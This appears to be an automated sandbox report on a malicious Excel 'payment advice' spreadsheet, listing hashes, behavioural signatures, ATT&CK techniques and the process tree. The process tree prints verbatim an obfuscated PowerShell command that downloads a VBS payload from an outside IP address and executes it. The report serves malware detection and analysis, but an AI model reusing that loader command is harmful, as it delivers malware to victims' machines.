3e90b28232eeea2c1c050b30dae7d62595131b123927b7cec37805bf2bd96d28

General

Target

COH_Payment_Advice_Note_0009887897.xls
Size

231KB
MD5

77a95d9806abdae032acc1eaf65e2483
SHA1

ab863fbd9286887f9976d40634e42579bf2ab3e5
SHA256

3e90b28232eeea2c1c050b30dae7d62595131b123927b7cec37805bf2bd96d28
SHA512

5fb5742d49115f129efdbc77b8983e91d1f38dc1f91bf514abd94ca39a367ab3c8400847a49cb51cfecdf15839d00f363c8d6823edbe050bc6007ae014bedb02

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4916	2384	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

34 4916 powershell.exe

flow	pid	process
34	4916	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3268 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2384 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4916 powershell.exe
4916 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4916 powershell.exe

pid	process
3268	PING.EXE

pid	process
4916	powershell.exe
4916	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4916	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 2384 wrote to memory of 4916	2384	EXCEL.EXE	powershell.exe
PID 2384 wrote to memory of 4916	2384	EXCEL.EXE	powershell.exe
PID 4916 wrote to memory of 3268	4916	powershell.exe	PING.EXE
PID 4916 wrote to memory of 3268	4916	powershell.exe	PING.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\COH_Payment_Advice_Note_0009887897.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping google.com;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.lecxe\''+pmet:vne$,''sbv.koobkrow/101.91.721.902//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\excel.vbs')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4916

C:\Windows\system32\PING.EXE
"C:\Windows\system32\PING.EXE" google.com
3⤵
- Runs ping.exe
PID:3268

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2384-138-0x00007FFE617F0000-0x00007FFE61800000-memory.dmp

Filesize
64KB

Download
memory/2384-140-0x000001C5B9E35000-0x000001C5B9E37000-memory.dmp

Filesize
8KB

Download
memory/2384-134-0x00007FFE63C70000-0x00007FFE63C80000-memory.dmp

Filesize
64KB

Download
memory/2384-135-0x00007FFE63C70000-0x00007FFE63C80000-memory.dmp

Filesize
64KB

Download
memory/2384-136-0x00007FFE63C70000-0x00007FFE63C80000-memory.dmp

Filesize
64KB

Download
memory/2384-137-0x00007FFE617F0000-0x00007FFE61800000-memory.dmp

Filesize
64KB

Download
memory/2384-133-0x00007FFE63C70000-0x00007FFE63C80000-memory.dmp

Filesize
64KB

Download
memory/2384-144-0x000001C5B9E35000-0x000001C5B9E37000-memory.dmp

Filesize
8KB

Download
memory/2384-132-0x00007FFE63C70000-0x00007FFE63C80000-memory.dmp

Filesize
64KB

Download
memory/3268-143-0x0000000000000000-mapping.dmp

Download
memory/4916-141-0x0000019CFDB90000-0x0000019CFDBB2000-memory.dmp

Filesize
136KB

Download
memory/4916-142-0x00007FFE7D460000-0x00007FFE7DF21000-memory.dmp

Filesize
10.8MB

Download
memory/4916-139-0x0000000000000000-mapping.dmp

Download
memory/4916-145-0x00007FFE7D460000-0x00007FFE7DF21000-memory.dmp

Filesize
10.8MB

Download
memory/4916-146-0x00007FFE7D460000-0x00007FFE7DF21000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads